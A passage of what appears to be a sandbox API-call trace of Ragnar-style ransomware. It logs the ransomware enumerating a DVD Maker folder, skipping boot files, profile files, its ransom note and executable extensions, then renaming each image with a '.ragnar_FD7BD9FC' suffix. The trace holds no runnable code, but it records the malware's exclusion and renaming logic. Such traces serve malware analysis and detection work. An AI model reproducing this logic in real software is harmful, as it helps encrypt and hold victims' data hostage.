(lpString1="Memories_buttonClear.png", lpString2="bootmgr") returned 1 [0079.033] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="bootmgr.efi") returned 1 [0079.033] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="bootmgfw.efi") returned 1 [0079.033] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="desktop.ini") returned 1 [0079.033] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="iconcache.db") returned 1 [0079.033] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="ntldr") returned -1 [0079.033] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="ntuser.dat") returned -1 [0079.033] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="ntuser.dat.log") returned -1 [0079.033] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="ntuser.ini") returned -1 [0079.033] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="thumbs.db") returned -1 [0079.033] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.033] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.033] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.033] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.033] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.033] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.033] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png")) returned 0x20 [0079.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.034] CloseHandle (hObject=0xffffffff) returned 0 [0079.034] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" [0079.034] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png.ragnar_FD7BD9FC" [0079.034] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.034] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1 [0079.034] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.034] lstrcpyW (in: lpString1=0x1eab5a, lpString2="Notes_btn-back-static.png" | out: lpString1="Notes_btn-back-static.png") returned="Notes_btn-back-static.png" [0079.034] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png") returned=".png" [0079.034] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.034] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="autorun.inf") returned 1 [0079.034] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="boot.ini") returned 1 [0079.034] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="bootfont.bin") returned 1 [0079.034] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="bootsect.bak") returned 1 [0079.034] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="bootmgr") returned 1 [0079.034] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="bootmgr.efi") returned 1 [0079.034] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="bootmgfw.efi") returned 1 [0079.034] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="desktop.ini") returned 1 [0079.034] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="iconcache.db") returned 1 [0079.034] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="ntldr") returned -1 [0079.034] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="ntuser.dat") returned -1 [0079.034] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="ntuser.dat.log") returned -1 [0079.034] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="ntuser.ini") returned -1 [0079.034] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="thumbs.db") returned -1 [0079.034] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.035] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.035] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.035] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.035] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.035] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.035] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png")) returned 0x20 [0079.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.035] CloseHandle (hObject=0xffffffff) returned 0 [0079.035] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" [0079.035] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png.ragnar_FD7BD9FC" [0079.035] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.035] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1 [0079.035] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.035] lstrcpyW (in: lpString1=0x1eab5a, lpString2="Notes_content-background.png" | out: lpString1="Notes_content-background.png") returned="Notes_content-background.png" [0079.035] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png") returned=".png" [0079.035] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.035] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="autorun.inf") returned 1 [0079.035] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="boot.ini") returned 1 [0079.035] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="bootfont.bin") returned 1 [0079.035] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="bootsect.bak") returned 1 [0079.035] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="bootmgr") returned 1 [0079.036] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="bootmgr.efi") returned 1 [0079.036] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="bootmgfw.efi") returned 1 [0079.036] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="desktop.ini") returned 1 [0079.036] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="iconcache.db") returned 1 [0079.036] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="ntldr") returned -1 [0079.036] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="ntuser.dat") returned -1 [0079.036] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="ntuser.dat.log") returned -1 [0079.036] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="ntuser.ini") returned -1 [0079.036] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="thumbs.db") returned -1 [0079.036] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.036] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.036] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.036] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.036] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.036] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.036] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png")) returned 0x20 [0079.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.037] CloseHandle (hObject=0xffffffff) returned 0 [0079.037] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" [0079.037] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png.ragnar_FD7BD9FC" [0079.037] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.037] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8156b2a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8156b2a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.037] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.037] lstrcpyW (in: lpString1=0x1eab5a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.037] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.037] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0079.037] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1 [0079.037] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.037] lstrcpyW (in: lpString1=0x1eab5a, lpString2="scrapbook.png" | out: lpString1="scrapbook.png") returned="scrapbook.png" [0079.037] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned=".png" [0079.037] lstrcmpiW (lpString1="scrapbook.png", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0079.037] lstrcmpiW (lpString1="scrapbook.png", lpString2="autorun.inf") returned 1 [0079.037] lstrcmpiW (lpString1="scrapbook.png", lpString2="boot.ini") returned 1 [0079.038] lstrcmpiW (lpString1="scrapbook.png", lpString2="bootfont.bin") returned 1 [0079.038] lstrcmpiW (lpString1="scrapbook.png", lpString2="bootsect.bak") returned 1 [0079.038] lstrcmpiW (lpString1="scrapbook.png", lpString2="bootmgr") returned 1 [0079.038] lstrcmpiW (lpString1="scrapbook.png", lpString2="bootmgr.efi") returned 1 [0079.038] lstrcmpiW (lpString1="scrapbook.png", lpString2="bootmgfw.efi") returned 1 [0079.038] lstrcmpiW (lpString1="scrapbook.png", lpString2="desktop.ini") returned 1 [0079.038] lstrcmpiW (lpString1="scrapbook.png", lpString2="iconcache.db") returned 1 [0079.038] lstrcmpiW (lpString1="scrapbook.png", lpString2="ntldr") returned 1 [0079.038] lstrcmpiW (lpString1="scrapbook.png", lpString2="ntuser.dat") returned 1 [0079.038] lstrcmpiW (lpString1="scrapbook.png", lpString2="ntuser.dat.log") returned 1 [0079.038] lstrcmpiW (lpString1="scrapbook.png", lpString2="ntuser.ini") returned 1 [0079.038] lstrcmpiW (lpString1="scrapbook.png", lpString2="thumbs.db") returned -1 [0079.038] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.038] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.038] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.038] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.038] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.038] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.038] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png")) returned 0x20 [0079.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.038] CloseHandle (hObject=0xffffffff) returned 0 [0079.038] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" [0079.038] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png.ragnar_FD7BD9FC" [0079.038] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.039] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1 [0079.039] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.039] lstrcpyW (in: lpString1=0x1eab5a, lpString2="Title_content-background.png" | out: lpString1="Title_content-background.png") returned="Title_content-background.png" [0079.039] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned=".png" [0079.039] lstrcmpiW (lpString1="Title_content-background.png", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0079.039] lstrcmpiW (lpString1="Title_content-background.png", lpString2="autorun.inf") returned 1 [0079.039] lstrcmpiW (lpString1="Title_content-background.png", lpString2="boot.ini") returned 1 [0079.039] lstrcmpiW (lpString1="Title_content-background.png", lpString2="bootfont.bin") returned 1 [0079.039] lstrcmpiW (lpString1="Title_content-background.png", lpString2="bootsect.bak") returned 1 [0079.039] lstrcmpiW (lpString1="Title_content-background.png", lpString2="bootmgr") returned 1 [0079.039] lstrcmpiW (lpString1="Title_content-background.png", lpString2="bootmgr.efi") returned 1 [0079.039] lstrcmpiW (lpString1="Title_content-background.png", lpString2="bootmgfw.efi") returned 1 [0079.039] lstrcmpiW (lpString1="Title_content-background.png", lpString2="desktop.ini") returned 1 [0079.039] lstrcmpiW (lpString1="Title_content-background.png", lpString2="iconcache.db") returned 1 [0079.039] lstrcmpiW (lpString1="Title_content-background.png", lpString2="ntldr") returned 1 [0079.039] lstrcmpiW (lpString1="Title_content-background.png", lpString2="ntuser.dat") returned 1 [0079.039] lstrcmpiW (lpString1="Title_content-background.png", lpString2="ntuser.dat.log") returned 1 [0079.039] lstrcmpiW (lpString1="Title_content-background.png", lpString2="ntuser.ini") returned 1 [0079.039] lstrcmpiW (lpString1="Title_content-background.png", lpString2="thumbs.db") returned 1 [0079.039] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.039] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.039] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.039] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.039] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.039] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.039] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png")) returned 0x20 [0079.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.040] CloseHandle (hObject=0xffffffff) returned 0 [0079.040] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" [0079.040] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png.ragnar_FD7BD9FC" [0079.040] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.040] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1 [0079.040] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.040] lstrcpyW (in: lpString1=0x1eab5a, lpString2="Title_mainImage-mask.png" | out: lpString1="Title_mainImage-mask.png") returned="Title_mainImage-mask.png" [0079.040] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned=".png" [0079.040] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0079.040] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="autorun.inf") returned 1 [0079.040] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="boot.ini") returned 1 [0079.040] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="bootfont.bin") returned 1 [0079.040] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="bootsect.bak") returned 1 [0079.040] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="bootmgr") returned 1 [0079.040] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="bootmgr.efi") returned 1 [0079.040] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="bootmgfw.efi") returned 1 [0079.040] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="desktop.ini") returned 1 [0079.040] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="iconcache.db") returned 1 [0079.040] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="ntldr") returned 1 [0079.040] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="ntuser.dat") returned 1 [0079.040] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="ntuser.dat.log") returned 1 [0079.040] 